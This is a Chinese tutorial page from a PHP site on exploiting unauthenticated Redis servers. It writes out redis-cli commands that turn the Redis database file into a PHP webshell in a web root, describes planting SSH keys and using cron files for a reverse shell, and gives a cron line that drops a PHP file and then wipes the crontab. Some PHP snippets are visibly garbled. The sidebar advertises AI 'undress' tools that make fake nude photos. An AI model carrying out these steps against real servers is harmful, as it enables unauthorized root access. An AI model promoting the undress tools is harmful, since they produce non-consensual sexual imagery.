搜尋
首頁php教程PHP开发Redis 匿名存取利用技巧

Redis 匿名存取利用技巧

Nov 14, 2016 am 09:22 AM
redis

Redis 資料庫在內網滲透中比較常見,結合近期的利用過程,記錄下:

在內網機器中下載Redis 解壓縮make一下,不用make install

A) 一般情況下知道路徑寫shell

./redis-cli -h IP  
config set dir /home/wwwroot/default/  
config set dbfilename redis.php 
set webshell " phpinfo(); ?>"  
save

B) 利用公匙免密碼登入1 本機產生公匙2 利用redis將公匙備份到redis機器上C) 利用linux的任務反彈shell

1 /var/spool/cron linux機器下預設的排程任務,開啟cron的時候,linux會定時去執行裡面的任務,檔案名稱為使用者名稱2 redis 設定dbfilename 到上面可以直接反彈shell回來

大概總結了主要是以上三種方式取得redis伺服器的權限,因為redis一般都是root權限啟動的,所以權限很大。

但滲透過程中總是會出現意向不到的情況,有木有啊。

第一種方式,如果redis資料庫太大,導致php馬超限,直接500不解析,那我們可以透過第三個指令寫個馬到web目錄

*/1 * * * * echo " phpinofo();?>" >/var/www/html/90sec.php;crontab -r

這樣的馬就沒問題了

第二種方式,我測試本機沒問題,但是到了滲透環境就出問題了,應該是ssh免密碼登入.ssh目錄權限問題,成功幾率不太大

第三種方式,最喜歡的一種,簡單粗暴明了,連提權都省了(如果是重要的機器,root用戶一般都會有計劃任務,建議先用低權限的用戶反彈個shell上去探下情況,在root) 但也遇到很奇葩的不給連接外網的機器,那就只能寫個shell到web目錄,或者在內網監聽一個bashshell ,自己去連接就ok了

redis還有一個發現就是,高版本的linux提權不了,我們也可以透過redis直接提權,也就是第三方軟體提權的一種方法吧。


陳述
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

Dreamweaver Mac版

Dreamweaver Mac版

視覺化網頁開發工具

SublimeText3 英文版

SublimeText3 英文版

推薦:為Win版本,支援程式碼提示!